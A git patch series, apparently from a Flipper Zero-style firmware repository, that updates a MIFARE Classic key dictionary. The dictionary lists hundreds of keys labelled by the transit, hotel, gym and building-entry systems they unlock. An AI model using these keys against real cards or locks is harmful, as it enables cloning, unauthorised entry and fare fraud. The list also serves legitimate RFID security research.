+9AD8150BE648 +9AD97423190D +9B4ADDDEB749 +9B7603341727 +9C45237377BE +9D090AE1A15E +9D59641E40A5 +9DA4528CEB8C +9DA728164176 +9DAC62A346B7 +9E0E9D983B9A +9E5271763D3D +9EE95586D024 +9EEE39E00CBB +A04671256EE2 +A091485B4B5D +A1B5577ED36E +A1EB280E3901 +A2789E1DD888 +A293A90AE72C +A309E3AEBDB9 +A3196E77B072 +A31E72DCC826 +A34DEA01690E +A36031D6ECB2 +A38044A3E18E +A421D7A04C4B +A424C686CA39 +A44590A779A5 +A47AD3895C63 +A5041E8B8E22 +A50DC0830AA5 +A52B8929D665 +A5BCBA6BE592 +A61D5137E6B3 +A6344C0418DC +A690A817B9D9 +A7E3B3459240 +A81E6D3C8E11 +A8C0BE436685 +A8DE205120A8 +A91E2BE6C308 +A9258D6B06B5 +A992B5E070C1 +AAC6E3205D48 +AB101546634E +AB6EE0761ACA +AB9BCA200547 +AC4BC5B2D3C0 +AC7A0B47B03E +AC88B26AC1D0 +ACAEB3456AD9 +ACB906631D8A +ACE07B45C0C5 +AD1992AE37CA +AD5586744A60 +AD674E4ADB79 +ADA093B06831 +AE7C3AE5334A +AE9EB8CAB2C3 +AEAE9E5CE65D +B002D1BDC29B +B0463E703098 +B063B209BB20 +B0788BE3BAA4 +B0C3B3299090 +B128298D9073 +B160677E7035 +B19D3D57176A +B1CCDB7999B9 +B231AA398B90 +B250E9590215 +B28BE0D819ED +B292C9554CBA +B2D8485C2460 +B31763D9D0DE +B328014DDD6A +B378C424C9E2 +B3D8C03C78E0 +B41D18E3B980 +B46824B972E9 +B50383A32302 +B509D631967C +B56CA847A7C3 +B56EC9A20D28 +B5B763215C82 +B6550EAC573A +B66060201705 +B6614EBEAAA2 +B6A18CBD4DA6 +B6ABB62E437E +B6C6558E58CA +B7009204D512 +B71D5B22B1C2 +B7392DD1E497 +B7709ED7CE60 +B7A26320A491 +B7A9DA22E9C6 +B7DEC863369D +B7E9A91174CB +B8178A34E2DC +B83092098A7D +B84C50E56DEC +B89BD135E935 +B8E87380D361 +B9485A9648C6 +B9ED829C22AE +BA227EE91818 +BA7BBD9683B1 +BA8224EA7A80 +BA84C974B356 +BAD293A45C8A +BB850C7E4934 +BBC1256810A4 +BC1CD369549E +BC5C76E5909C +BC66E9270049 +BC6AB08B03CC +BC74CA2C2B06 +BC7C64828C1D +BCCC3A719013 +BD06E96EB7D7 +BD196D0A74E0 +BE02790E84AC +BE1266314B9D +BE518C742B74 +BE5695316117 +BE5D8EBA120D +BE8286DA7D12 +BE9CE00EE4DD +C003962B3462 +C0067E095049 +C015A21E0146 +C03BC03AD437 +C06CE7D57A0D +C07EE1E10B56 +C0885A29251E +C198163ABECE +C1EB7337A035 +C225479C7064 +C2740E1665A8 +C27924128A00 +C2A701656B8B +C2C30D21C53E +C2CBB2ACD38D +C38D19A9C8D1 +C3B1BB7E7492 +C3BA2438A981 +C3CD74758DE2 +C4033B3BB1D7 +C404D280640E +C4467DE80B2D +C46A048C88DD +C52877867C05 +C56D005E258E +C56D052D5533 +C5BB2CCCB9C3 +C5C272694A1E +C6121BC4A29C +C65EEAE02433 +C661C4AE1DD1 +C76C94B495CA +C7BD49777A79 +C7CD131E9B60 +C7E35D6294BA +C8E173DB04CC +C95855AE08E8 +C98147E69033 +C99A004E6133 +C9E893C4090B +CA119C79A197 +CA309D2CBC41 +CA4BAA390BC4 +CA92DD257E21 +CA968EBEB9C7 +CADED0C50AC4 +CB18774EA550 +CB1999D19E10 +CB75C1BAE669 +CC2517AB2346 +CC2AC1AD29CA +CD11359C7A90 +CD14C8553CB9 +CD333295BBE2 +CD3DB8C27E5C +CDA811AD5055 +CDABDCA23986 +CDCA8BD7B002 +CE0456AB0DCE +CE58AE1C51E9 +CE76E8A600DC +CE95875316C8 +CEB105E65289 +CEB651752D4C +CEE02D97E5BD +D023DB35ED05 +D0BE546CC06B +D0CE7EB0D379 +D10329D366C8 +D15C004DBC8D +D16E6B668254 +D1CEEC977644 +D1DC0E1CC09E +D2550925679B +D28B2D42DE1A +D2926519AC09 +D313116A45B4 +D3DC10453857 +D431C8C73BDC +D4C67846791C +D5629384CE7D +D5ABE7180600 +D62A4A0E57C2 +D660CE9E3080 +D66AE9282140 +D6A91C14AC47 +D6E23B4E75C6 +D726C4979654 +D76DE12943B4 +D7A405AD9E4E +D7BD3AE48E93 +D7D49700BBCC +D7E8A5089E7A +D84C81EE910D +D8545199A949 +D86243C1380E +D88A12EB3622 +D89B5EA419C1 +D8A3690B0115 +D94646A4C65B +D982B4846A96 +DA303BADB013 +DAD9A48A8C33 +DAEB5D63920B +DB01A99DD94C +DB22BB7D6818 +DB37160CBB4B +DB7E3687E450 +DC7697E37A9B +DCC44C4E9269 +DCCE477E785E +DD68DE9CDA5A +DE1B08C6D94B +DE41BBD7E68D +DE6E04AE4475 +DE8CD4277A9E +DEA8098D6E51 +DEB2BEE8858A +DEB550958AD9 +E045E6309471 +E0E21213C611 +E0E457054B62 +E1097C69DA4A +E1EA831EA514 +E20716902884 +E2C9CB14C06C +E33B66EA2705 +E34C5B12BABA +E38A1C654E82 +E3905BA54194 +E3E3919444CA +E4450EC1010C +E49A03306224 +E5100AC4C6C3 +E5124DB665A6 +E5491B5E3DD6 +E5BE9C989A29 +E5C3A9A27D3E +E65111EB1E40 +E65792427D4C +E7004C5EA94A +E705087DECBB +E7CB93E68155 +E81512343BAD +E8428C8B0740 +E859EBC22318 +E87267A508DB +E886AE7D1BE0 +E8B008239600 +E8C4B4A4E482 +E8D53410B736 +E902964DA28D +E9203D5BD2DA +E9526CACA8B2 +E9C11D763BEC +EA3BDAA4E498 +EA61AC8B4969 +EA8E8ADC26B9 +EB5588EAE5E8 +EBA964C07075 +EC71B679D3AA +ECB4019ADD97 +ED14D0A14B0C +ED296C79266C +EDBA3C943EA8 +EDC7CEBD4000 +EDE2747DA6C3 +EE3029556CEB +EE49610E6121 +EEB704D69BCA +EED69A391464 From 32de742282bf2a99f7edc7d97b56331fa15b0342 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 14 May 2022 01:35:36 +0300 Subject: [PATCH 164/461] Update Manifest --- assets/resources/Manifest | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/assets/resources/Manifest b/assets/resources/Manifest index f38449508..77beae86f 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1652290624 +T:1652480574 D:badusb D:dolphin D:infrared @@ -275,7 +275,7 @@ D:nfc/assets F:c6826a621d081d68309e4be424d3d974:4715:nfc/assets/aid.nfc F:86efbebdf41bb6bf15cc51ef88f069d5:2565:nfc/assets/country_code.nfc F:41b4f08774249014cb8d3dffa5f5c07d:1757:nfc/assets/currency_code.nfc -F:c60e862919731b0bd538a1001bbc1098:17453:nfc/assets/mf_classic_dict.nfc +F:33ce9c9b878875fb51958e58e45ef0be:50388:nfc/assets/mf_classic_dict.nfc D:subghz/assets F:dda1ef895b8a25fde57c874feaaef997:650:subghz/assets/came_atomo F:610a0ffa2479a874f2060eb2348104c5:2712:subghz/assets/keeloq_mfcodes From 82191f75a321ff44f783bc06f0ceb38ad9c4d07f Mon Sep 17 00:00:00 2001 From: UberGuidoZ <57457139+UberGuidoZ@users.noreply.github.com> Date: Sun, 15 May 2022 23:13:09 -0700 Subject: [PATCH 165/461] Added sources back, added a couple more, removed more dups --- .../resources/nfc/assets/mf_classic_dict.nfc | 3187 ++++++++--------- 1 file changed, 1472 insertions(+), 1715 deletions(-) diff --git a/assets/resources/nfc/assets/mf_classic_dict.nfc b/assets/resources/nfc/assets/mf_classic_dict.nfc index 31e5040cd..39ee9523a 100644 --- a/assets/resources/nfc/assets/mf_classic_dict.nfc +++ b/assets/resources/nfc/assets/mf_classic_dict.nfc @@ -1,490 +1,702 @@ +# MIFARE DEFAULT KEYS +# -- ICEMAN FORK VERSION -- +# -- CONTRIBUTE TO THIS LIST, SHARING IS CARING -- +# https://github.com/RfidResearchGroup/proxmark3/blob/master/client/dictionaries/mfc_default_keys.dic +# DEFAULTKEY(FIRSTKEYUSEDBYPROGRAMIFNOUSERDEFINEDKEY) FFFFFFFFFFFF -A0A1A2A3A4A5 -D3F7D3F7D3F7 +# BLANKKEY 000000000000 -B0B1B2B3B4B5 -4D3A99C351DD -1A982C7E459A -AABBCCDDEEFF -714C5C886E97 -587EE5F9350F -A0478CC39091 -533CB6C723F6 -8FD0A4F256E9 -A64598A77478 -26940B21FF5D -FC00018778F7 -00000FFE2488 -5C598C9C58B5 -E4D2770A89BE -434F4D4D4F41 -434F4D4D4F42 -47524F555041 -47524F555042 -505249564141 -505249564142 -0297927C0F77 -EE0042F88840 -722BFCC5375F -F1D83F964314 -54726176656C -776974687573 -4AF9D7ADEBE4 -2BA9621E0A36 -000000000001 -123456789ABC -B127C6F41436 -12F2EE3478C1 -34D1DF9934C5 -55F5A5DD38C9 -F1A97341A9FC -33F974B42769 -14D446E33363 -C934FE34D934 -1999A3554A55 -27DD91F1FCF1 -A94133013401 -99C636334433 -43AB19EF5C31 -A053A292A4AF -505249565441 -505249565442 -FC0001877BF7 -A0B0C0D0E0F0 -A1B1C1D1E1F1 -BD493A3962B6 -010203040506 -111111111111 -222222222222 -333333333333 -444444444444 -555555555555 -666666666666 -777777777777 -888888888888 -999999999999 -AAAAAAAAAAAA -BBBBBBBBBBBB -CCCCCCCCCCCC -DDDDDDDDDDDD -EEEEEEEEEEEE -0123456789AB -000000000002 -00000000000A -00000000000B -100000000000 -200000000000 -A00000000000 -B00000000000 -ABCDEF123456 -F4A9EF2AFC6D -4B0B20107CCB +# NFC FORUM MADKEY +# MAD ACCESS KEY A (REVERSED) +A5A4A3A2A1A0 +# MAD ACCESS KEY B +89ECA97F8C2A +# KEY A WIEN +# KEY B WIEN +# ICOPY-X +E00000000000 +E7D6064C5860 +B27CCAB30DBD +# LIB / NAT BIEB +D2ECE8B9395E +# NSCP DEFAULT KEY +1494E81663D7 +# KIEV KEYS 569369C5A0E5 632193BE1C3C 644672BD4AFE 8FE644038790 9DE89E070277 -B5FF67CBA951 EFF603E1EFE9 F14EE7CAE863 +# KIEV / OV-CHIPKAART +B5FF67CBA951 +# RKF +# VÄSTTRAFIKEN KEYA, RKF ÖSTGÖTATRAFIKEN KEYA +FC00018778F7 +0297927C0F77 +54726176656C +# VÄSTTRAFIKEN KEYB +00000FFE2488 +776974687573 +EE0042F88840 +# RKF SLKEYA +26940B21FF5D +A64598A77478 +# RKF SLKEYB +5C598C9C58B5 +E4D2770A89BE +# RKF REJSKORTDANMARK KEYA +722BFCC5375F +F1D83F964314 +# RKF JOJOPRIVAKEYA +505249564141 +# RKF JOJOPRIVAKEYB +505249564142 +# RKF JOJOGROUPKEYA +47524F555041 +# RKF JOJOGROUPKEYB +47524F555042 +434F4D4D4F41 +434F4D4D4F42 +# +4B0B20107CCB# TNP3XXX +# ACCESS CONTROL SYSTEM +605F5E5D5C5B +# MORE KEYS FROM MFC_DEFAULT_KEYS.LUA +000000000001 +000000000002 +00000000000A +00000000000B +0123456789AB +100000000000 +111111111111 +12F2EE3478C1 +14D446E33363 +1999A3554A55 +200000000000 +222222222222 +27DD91F1FCF1 +# DIRECTORYANDEVENTLOGKEYB +2BA9621E0A36 +# DIRECTORYANDEVENTLOGKEYA +4AF9D7ADEBE4 +333333333333 +33F974B42769 +34D1DF9934C5 +43AB19EF5C31 +444444444444 +505249565441 +505249565442 +555555555555 +55F5A5DD38C9 +666666666666 +777777777777 +888888888888 +999999999999 +99C636334433 +A00000000000 +A053A292A4AF +A94133013401 +AAAAAAAAAAAA +# KEYFROMLADYADA.NET +B00000000000 +B127C6F41436 +BBBBBBBBBBBB +BD493A3962B6 +C934FE34D934 +CCCCCCCCCCCC +DDDDDDDDDDDD +EEEEEEEEEEEE +# ELEVATOR +# DATA FROM FORUM +FFFFFF545846 +F1A97341A9FC +# HOTEL SYSTEM 44AB09010845 85FED980EA5A -314B49474956 -564C505F4D41 -0263DE1278F3 -067DB45454A9 -15FC4C7613FE -16F21A82EC84 -16F3D5AB1139 -17758856B182 -1FC235AC1309 -22C1BAE1AACD -243F160918D1 -25094DF6F148 -2A3C347A1200 -324F5DF65310 -32AC3B90AC13 -35C3D2CAEE88 -3A42F33AF429 -3DF14C8000A1 -3E3554AF0E12 -3E65E4FB65B3 -454841585443 -460722122510 -48FFE71294A0 -491CDCFB7752 -4AD1E273EAF1 -4B791BEA7BCC -51284C3686A6 -528C9DFFE28C -5EB8F884C8D1 -5F146716E373 -6338A371C0ED -63F17A449AF0 -643FB6DE2217 -64E3C10394C2 -682D401ABB09 -68D30288910A -693143F10368 -6A470D54127C -740E9A4F9AAF -75CCB59C9BED -75D8690F21B6 -75EDE6A84460 -82F435DEDF01 -85675B200017 -871B8C085997 -937A4FFF3011 -97184D136233 -97D1101F18B0 -9AFC42372AF1 -A27D3804C259 -A3F97428DD01 -A8966C7CC54B +# ARD (FR) KEY A +43454952534E +# ARD (FR) KEY B +4A2B29111213 +4143414F5250 +# TEHRAN RAILWAY +A9B43414F585 +1FB235AC1388 +# DATA FROM HTTP://IRQ5.IO/2013/04/13/DECODING-BCARD-CONFERENCE-BADGES/ +# BCARD KEYB +F4A9EF2AFC6D +# DATA FROM ... +# S0 B +89EAC97F8C2A +# S4 A +43C7600DEE6B +# S6 A +0120BF672A64 +# S6 B +FB0B20DF1F34 A9F953DEF0A3 -AAFB06045877 -AC0E24C75527 -AE3FF4EEA0DB -B0C9DD55DD4D -B736412614AF -C4652C54261C -C6AD00254562 -C82EC29E3235 -D39BB83F5297 -D49E2826664F -DF27A8F1CB8E -E2C42591368A -E3429281EFC1 -E444D53D359F +# DATA FROM FORUM +74A386AD0A6D +3F7A5C2DBD81 +21EDF95E7433 +C121FF19F681 +3D5D9996359A +# HERE BE BIP KEYS... +3A42F33AF429 +1FC235AC1309 +6338A371C0ED +243F160918D1 F124C2578AD0 +9AFC42372AF1 +32AC3B90AC13 +682D401ABB09 +4AD1E273EAF1 +067DB45454A9 +E2C42591368A +15FC4C7613FE +2A3C347A1200 +68D30288910A +16F3D5AB1139 F59A36A2546D -FEE470A4CB58 -0000000018DE -0000014B5C31 -003003003003 -003CC420001A -013889343891 -01FA3FC68349 -021209197591 -050908080008 -0A7932DC7E65 -0C669993C776 -0C71BCFB7E72 -0D258FE90296 +937A4FFF3011 +64E3C10394C2 +35C3D2CAEE88 +B736412614AF +693143F10368 +324F5DF65310 +A3F97428DD01 +643FB6DE2217 +63F17A449AF0 +82F435DEDF01 +C4652C54261C +0263DE1278F3 +D49E2826664F +51284C3686A6 +3DF14C8000A1 +6A470D54127C +# DATA FROM HTTP://PASTEBIN.COM/AK9BFTPW +# LÄNSTRAFIKEN I VÄSTERBOTTEN +48FFE71294A0 +E3429281EFC1 +16F21A82EC84 +460722122510 +# 3DPRINTER +# EPI ENVISIONTE# 3DPRINTER +AAFB06045877 +# GYM +# FYSIKEN A +3E65E4FB65B3 +# FYSIKEN B +25094DF6F148 +# CLEVERFIT +A05DBD98E0FC +# HOTEL KEYCARD +D3B595E9DD63 +AFBECD121004 +# SIMONSVOSS +6471A5EF2D1A +# ID06 +4E3552426B32 +22BDACF5A33F +6E7747394E63 +763958704B78 +# 24-7 +D21762B2DE3B 0E83A374B513 -0F230695923F +1F1FFE000000 +A10F303FC879 +1322285230B8 +0C71BCFB7E72 +C3C88C6340B8 +F101622750B7 +1F107328DC8D +710732200D34 +7C335FB121B5 +B39AE17435DC +# KEY A +454841585443 +# DATA FROM HTTP://PASTEBIN.COM/GQ6NK38G +D39BB83F5297 +85675B200017 +528C9DFFE28C +C82EC29E3235 +3E3554AF0E12 +491CDCFB7752 +22C1BAE1AACD +5F146716E373 +740E9A4F9AAF +AC0E24C75527 +97184D136233 +E444D53D359F +17758856B182 +A8966C7CC54B +C6AD00254562 +AE3FF4EEA0DB +5EB8F884C8D1 +FEE470A4CB58 +75D8690F21B6 +871B8C085997 +97D1101F18B0 +75EDE6A84460 +DF27A8F1CB8E +B0C9DD55DD4D +# DATA FROM HTTP://BIT.LY/1BDSBJL +A0B0C0D0E0F0 +A1B1C1D1E1F1 +# DATA FROM MSK SOCIAL +A229E68AD9E5 +49C2B5296EF4 +2735FC181807 +2ABA9519F574 +84FD7F7A12B6 +186D8C4B93F9 +3A4BBA8ADAF0 +8765B17968A2 +40EAD80721CE +0DB5E6523F7C +51119DAE5216 +83E3549CE42D +136BDB246CAC +7DE02A7F6025 +BF23A53C1F63 +CB9A1F2D7368 +C7C0ADB3284F +9F131D8C2057 +67362D90F973 +6202A38F69E2 +100533B89331 +653A87594079 +D8A274B2E026 +B20B83CB145C +9AFA6CB4FC3D +# DATA FROM HTTP://PASTEBIN.COM/RRJUEDCM +0D258FE90296 +E55A3CA71826 +A4F204203F56 +EEB420209D0C +911E52FD7CE4 +752FBB5B7B45 +66B03ACA6EE9 +48734389EDC3 +17193709ADF4 +1ACC3189578C +C2B7EC7D4EB1 +369A4663ACD2 +# DATA FROM HTTPS://GITHUB.COM/ZHANGJINGYE03/ZXCARDUMPER +# ZXCARD KEY A/B +668770666644 +003003003003 +# DATA FROM HTTP://PHREAKERCLUB.COM/FORUM/SHOWTHREAD.PHP?P=41266 +26973EA74321 +71F3A315AD26 +51044EFB5AAB +AC70CA327A04 +EB0A8FF88ADE +# TRANSPORT SYSTEM METROMONEY +2803BCB0C7E1 +9C616585E26D +4FA9EB49F75E +2DADE48942C5 +A160FCD5EC4C +112233445566 +361A62F35BC9 +# TRANSPORT SYSTEM SPAIN +83F3CB98C258 +070D486BC555 +A9B018868CC1 +9DCDB136110C +749934CC8ED3 +506DB955F161 +F088A85E71D7 +72B458D60363 +70C714869DC7 +B32464412EE3 +F253C30568C4 +1C68315674AC +CFE63749080A +C1E6F8AFC9EC +DD0DE3BA08A6 +3D923EB73534 +FF94F86B09A6 +D61707FFDFB1 +8223205047B6 +9951A273DEE7 +C9449301AF93 +66695A45C9FA +89AA9D743812 +C41514DEFC07 +C52876869800 +5353B3AECB53 +2E4169A5C79D +4BB747E48C2A +6285A1C8EB5C +5145C34DBA19 +25352912CD8D +81B20C274C3F +# DATA FROM MALL +# PLAYLAND BALIKESIR +ABBA1234FCB0 +# A TRIO BOWLING BAHCELIEVLER +314F495254FF +4152414B4E41 +# KARINCA PARK NIGDE +4E474434FFFF +# DATA FROM HTTPS://GITHUB.COM/RADIOWAR/NFCGUI +44DD5A385AAF +21A600056CB0 +B1ACA33180A5 +DD61EB6BCE22 +1565A172770F +3E84D2612E2A +F23442436765 +79674F96C771 +87DF99D496CB +C5132C8980BC +A21680C27773 +F26E21EDCEE2 +675557ECC92E +F4396E468114 +6DB17C16B35B +4186562A5BB2 +2FEAE851C199 +DB1A3338B2EB +157B10D84C6B +A643F952EA57 +DF37DCB6AFB3 +4C32BAF326E0 +91CE16C07AC5 +3C5D1C2BCD18 +C3F19EC592A2 +F72A29005459 +185FA3438949 +321A695BD266 +D327083A60A7 +45635EF66EF3 +5481986D2D62 +CBA6AE869AD5 +645A166B1EEB +A7ABBC77CC9E +F792C4C76A5C +BFB6796A11DB +# DATA FROM SALTO A/B +6A1987C40A21 +7F33625BC129 +2338B4913111 +# DATA FROM STOYE +CB779C50E1BD +A27D3804C259 +003CC420001A +F9861526130F +381ECE050FBD +A57186BDD2B9 +48C739E21A04 +36ABF5874ED7 +649D2ABBBD20 +BBE8FFFCF363 +AB4E7045E97D +340E40F81CD8 +E4F65C0EF32C +D2A597D76936 +A920F32FE93A +86AFD95200F7 +9B832A9881FF +26643965B16E +0C669993C776 +B468D1991AF9 +D9A37831DCE5 +2FC1F32F51B1 0FFBF65B5A14 +C5CFE06D9EA3 +C0DECE673829 +A56C2DF9A26D +# DATA FROM HTTPS://PASTEBIN.COM/VBWAST74 +68D3F7307C89 +# SMART RIDER. WESTERN AUSTRALIAN PUBLIC TRANSPORT CARDS +568C9083F71C +# BANGKOK METRO KEY +97F5DA640B18 +# METRO VALENCIA KEY +A8844B0BCA06 +# HTC EINDHOVEN KEY +857464D3AAD1 +# VIGIK KEYS +# VARIOUS SOURCES : +# * HTTPS://GITHUB.COM/DUMPDOS/VIGIK +# * HTTP://NEWFFR.COM/VIEWTOPIC.PHP?&FORUM=235&TOPIC=11559 +# * OWN DUMPS +# FRENCH VIGIK +# VIGIK1 A +314B49474956 +# VIGIK1 B +564C505F4D41 +BA5B895DA162 +# VIGIK MYSTERY KEYS MIFARE 1K EV1 (S50) +# 16 A +5C8FF9990DA2 +# 17 A +75CCB59C9BED +# 16 B +D01AFEEB890A +# 17 B +4B791BEA7BCC +# BTCINO UNDETERMINED SPREAKD 0X01->0X13 KEY +021209197591 +2EF720F2AF76 +414C41524F4E +424C41524F4E +4A6352684677 +BF1F4424AF76 +536653644C65 +# INTRATONE COGELEC +# DATA FROM HTTP://BOUZDECK.COM/RFID/32-CLONING-A-MIFARE-CLASSIC-1K-TAG.HTML +484558414354 +A22AE129C013 +49FAE4E3849F +38FCF33072E0 +8AD5517B4B18 +509359F131B1 +6C78928E1317 +AA0720018738 +A6CAC2886412 +62D0C424ED8E +E64A986A5D94 +8FA1D601D0A2 +89347350BD36 +66D2B7DC39EF +6BC1E1AE547D +22729A9BD40F +# DATA FROM HTTPS://DFIR.LU/BLOG/CLONING-A-MIFARE-CLASSIC-1K-TAG.HTML +925B158F796F +FAD63ECB5891 +BBA840BA1C57 +CC6B3B3CD263 +6245E47352E6 +8ED41E8B8056 +2DD39A54E1F3 +6D4C5B3658D2 +1877ED29435A +52264716EFDE +961C0DB4A7ED +703140FD6D86 +157C9A513FA5 +E2A5DC8E066F +# DATA FROM FORUM, SCHLAGE 9691T FOB +EF1232AB18A0 +# DATA FROM A OYSTER CARD +374BF468607F +BFC8E353AF63 +15CAFD6159F6 +62EFD80AB715 +987A7F7F1A35 +C4104FA3C526 +4C961F23E6BE +67546972BC69 +F4CD5D4C13FF +94414C1A07DC +16551D52FD20 +9CB290282F7D +77A84170B574 +ED646C83A4F3 +E703589DB50B +513C85D06CDE +95093F0B2E22 +543B01B27A95 +C6D375B99972 +EE4CC572B40E +5106CA7E4A69 +C96BD1CE607F +167A1BE102E0 +A8D0D850A606 +A2ABB693CE34 +7B296C40C486 +91F93A5564C9 +E10623E7A016 +B725F9CBF183 +# DATA FROM FDI TAG +8829DA9DAF76 +# DATA FROM GITHUB ISSUE +0A7932DC7E65 11428B5BCE06 11428B5BCE07 11428B5BCE08 11428B5BCE09 11428B5BCE0A 11428B5BCE0F -11496F97752A -123F8888F322 -1322285230B8 -1565A172770F -157B10D84C6B -157C9A513FA5 -15CAFD6159F6 -160A91D29A9C -16551D52FD20 -167A1BE102E0 -16DDCB6B3F24 -1717E34A7A8A -17193709ADF4 -185FA3438949 -1877ED29435A 18971D893494 -1AB23CD45EF6 -1ACC3189578C -1F107328DC8D -1F1A0A111B5B -1F1FFE000000 -2031D1E57A3B -204752454154 -21A600056CB0 -22729A9BD40F -2338B4913111 -2548A443DF28 25D60050BF6E -26643965B16E -26973EA74321 -27FBC86A00D0 -2A2C13CC242A -2A6D9205E7CA -2CB1A90071C8 -2DD39A54E1F3 -2ED3B15E7C0F -2EF720F2AF76 -2FC1F32F51B1 -2FEAE851C199 -3060206F5B0A -31646241686C -321958042333 -321A695BD266 -340E40F81CD8 -345547514B4D -356D46474348 -369A4663ACD2 -36ABF5874ED7 -374BF468607F -381ECE050FBD -386B4D634A65 -38FCF33072E0 -3A09594C8587 -3B7E4FD575AD -3C5D1C2BCD18 -3E84D2612E2A 3FA7217EC575 -410B9B40B872 -414C41524F4E -415A54454B4D -4186562A5BB2 -424C41524F4E -425A73484166 -436A46587552 -447AB7FD5A6B -44DD5A385AAF 44F0B5FBE344 -45635EF66EF3 -476242304C53 -484558414354 -484944204953 -484A57696F4A -48734389EDC3 -48C739E21A04 -49FAE4E3849F -4A6352684677 -4C32BAF326E0 -4C6B69723461 -4C961F23E6BE -4D3248735131 -4D5076656D58 -4E32336C6E38 -4E4175623670 -4F9F59C9C875 -509359F131B1 -51044EFB5AAB -5106CA7E4A69 -513C85D06CDE -52264716EFDE -536653644C65 -53C11F90822A -543B01B27A95 -5481986D2D62 -5544564E6E67 -564777315276 -568C9083F71C -57734F6F6974 -57784A533069 -584F66326877 -5A1B85FCE20A -5EC39B022F2B -623055724556 -62387B8D250D -6245E47352E6 -62CED42A6D87 -62D0C424ED8E -62EFD80AB715 -645A166B1EEB -649D2ABBBD20 -666E564F4A44 -668770666644 -66B03ACA6EE9 -66D2B7DC39EF -66F3ED00FED7 -67546972BC69 -675557ECC92E -686A736A356E -68D3F7307C89 -69FB7B7CD8EE -6A1987C40A21 -6A676C315142 -6A696B646631 -6B6579737472 -6BC1E1AE547D -6C78928E1317 -6C94E1CED026 -6D44B5AAF464 -6D4C5B3658D2 -6D4E334B6C48 -6DB17C16B35B -6F4B6D644178 -6F506F493353 -703140FD6D86 -70564650584F -710732200D34 -71F3A315AD26 -744E326B3441 -752FBB5B7B45 -756EF55E2507 -77494C526339 -77646B633657 -77A84170B574 -79674F96C771 -7B296C40C486 7B296F353C6B -7C335FB121B5 -7F33625BC129 8553263F4FF0 -8697389ACA26 -86AFD95200F7 -87DF99D496CB -8829DA9DAF76 -89347350BD36 -8AD5517B4B18 8E5D33A6ED51 -8ED41E8B8056 -8FA1D601D0A2 -911E52FD7CE4 -9189449EA24E -91CE16C07AC5 -91F93A5564C9 -925B158F796F -92EE4DC87191 -932B9CB730EF -94414C1A07DC -95093F0B2E22 -961C0DB4A7ED -987A7F7F1A35 -9B832A9881FF -9CB290282F7D -9DC282D46217 9F42971E8322 -A10F303FC879 -A21680C27773 -A22AE129C013 -A2ABB693CE34 -A4F204203F56 -A56C2DF9A26D -A57186BDD2B9 -A643F952EA57 -A6CAC2886412 -A7ABBC77CC9E -A8D0D850A606 -A920F32FE93A -AA0720018738 -AB4E7045E97D -AC70CA327A04 -AD4FB33388BF -AD9E0A1CA2F7 -AFD0BA94D624 -B1ACA33180A5 -B35A0E4ACC09 -B39AE17435DC -B468D1991AF9 -B578F38A5C61 -B725F9CBF183 -B7BF0C13066E -B8A1F613CF3D -BA5B895DA162 -BBA840BA1C57 -BBE8FFFCF363 -BEDB604CC9D1 -BF1F4424AF76 -BFB6796A11DB -BFC8E353AF63 -C0C1C2C3C4C5 -C0DECE673829 -C2B7EC7D4EB1 -C3C88C6340B8 -C3F19EC592A2 -C4104FA3C526 -C5132C8980BC -C5CFE06D9EA3 C620318EF179 -C6D375B99972 -C96BD1CE607F -CB779C50E1BD -CBA6AE869AD5 -CC6B3B3CD263 -D0D1D2D3D4D5 -D21762B2DE3B -D2A597D76936 -D327083A60A7 D4FE03CE5B06 D4FE03CE5B07 D4FE03CE5B08 D4FE03CE5B09 D4FE03CE5B0A D4FE03CE5B0F -D58023BA2BDC -D9A37831DCE5 -DB1A3338B2EB -DD61EB6BCE22 -DF37DCB6AFB3 -E10623E7A016 E241E8AFCBAF -E2A5DC8E066F -E4F65C0EF32C -E55A3CA71826 -E64A986A5D94 -E703589DB50B -EB0A8FF88ADE -EC0A9B1A9E06 -ED646C83A4F3 -EE4CC572B40E -EEB420209D0C -F101622750B7 -F1B9F5669CC8 -F23442436765 -F238D78FF48F -F26E21EDCEE2 -F4396E468114 -F4CD5D4C13FF -F662248E7E89 -F72A29005459 -F792C4C76A5C +# DATA FROM FORUM POST +123F8888F322 +050908080008 +# DATA FROM HOIST +4F9F59C9C875 +# DATA FROM PASTEBIN +66F3ED00FED7 F7A39753D018 -F9861526130F -FAD63ECB5891 -BC4580B7F20B -8E26E45E7D65 -A7141147D430 -18E3A02B5EFF -E328A1C7156D -8A8D88151A00 -7A86AA203788 -72F96BDD3714 -C76BF71A2509 -1B61B2E78C75 -045CECA15535 -6B07877E2C5C -0CE7CD2CC72B -EA0FD73CB149 -B81F2B0C2F66 -BB52F8CCE07F -46D78E850A7E -E4821A377B75 -8791B2CCB5C4 -D5524F591EED -BAFF3053B496 -0F318130ED18 -42E9B54E51AB -7413B599C4EA -9EA3387A63C1 -B27ADDFB64B0 -E56AC127DD45 -0BE5FAC8B06A -FD8705E721B0 -7259FA0197C6 -22052B480D11 -9D993C5D4EF4 -C65D4EAA645B -0EB23CC8110B -3A8A139C20B4 -19FC84A3784B -0F01CEFF2742 -A3FAA6DAFF67 -BC2D1791DEC1 -7A396F0D633D -ACFFFFFFFFFF -77DABC9825E1 -518DC6EEA089 -044CE1872BC3 -114D6BE9440C -AFCEF64C9913 +# DATA FROM HTTPS://PASTEBIN.COM/Z7PEEZIF +386B4D634A65 +666E564F4A44 +564777315276 +476242304C53 +6A696B646631 +4D3248735131 +425A73484166 +57784A533069 +345547514B4D +4C6B69723461 +4E4175623670 +4D5076656D58 +686A736A356E +484A57696F4A +6F4B6D644178 +744E326B3441 +70564650584F +584F66326877 +6D4E334B6C48 +6A676C315142 +77494C526339 +623055724556 +356D46474348 +4E32336C6E38 +57734F6F6974 +436A46587552 +5544564E6E67 +6F506F493353 +31646241686C +77646B633657 +# DATA FROM TRANSPERT +2031D1E57A3B +53C11F90822A +9189449EA24E +# DATA FROM GITHUB +410B9B40B872 +2CB1A90071C8 +# DATA FROM +8697389ACA26 +1AB23CD45EF6 +013889343891 +0000000018DE +16DDCB6B3F24 +# DATA FROM HTTPS://PASTEBIN.COM/VWDRZW7D +# VINGCARD MIFARE 4K STAFF CARD +EC0A9B1A9E06 +6C94E1CED026 +0F230695923F +0000014B5C31 +BEDB604CC9D1 +B8A1F613CF3D +B578F38A5C61 +B66AC040203A +6D0B6A2A0003 +2E641D99AD5B +AD4FB33388BF +69FB7B7CD8EE +# HOTEL 